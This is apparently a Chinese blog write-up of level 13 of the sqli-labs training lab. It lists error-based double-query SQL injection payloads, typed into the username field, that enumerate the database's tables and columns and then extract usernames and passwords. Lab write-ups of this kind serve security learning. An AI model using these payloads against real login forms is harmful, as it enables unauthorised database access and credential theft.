Sqlilabs-13

还记得第 5 关跟第 6 关的双查询注入吗?(其实本质就是盲注),有了 5 6 关卡的基础,再来玩 13 关就很轻松了…
不过这里倒是有小小的疑惑…就是 hackbar 在这关没有效果,必须得在方框内输入才可以…payload 我拿到 5 6 关卡试过了都是有效的…这就很奇怪了,连最简单的 order by 都不返回任何报错信息…这关就食用原生态方式吧
b86197dc12bc821ccf7b96f8bbf3941.png

password 可以随便输入,这里只构造 username 的:

admin') order by 3# 报错
admin') order by 2# 正常
-admin') union select 1,2#

-admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))a from information_schema.tables group by a#

-admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2))a from information_schema.tables group by a#

-admin') union select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),floor(rand()*2))a from information_schema.tables group by a#

-admin') union select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1),floor(rand()*2))a from information_schema.tables group by a#

-admin') union select count(*),concat((select username from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a#

-admin') union select count(*),concat((select password from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a#

0eb737e04ef10a49a9d8fcce7ab8d1e.png

😄

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值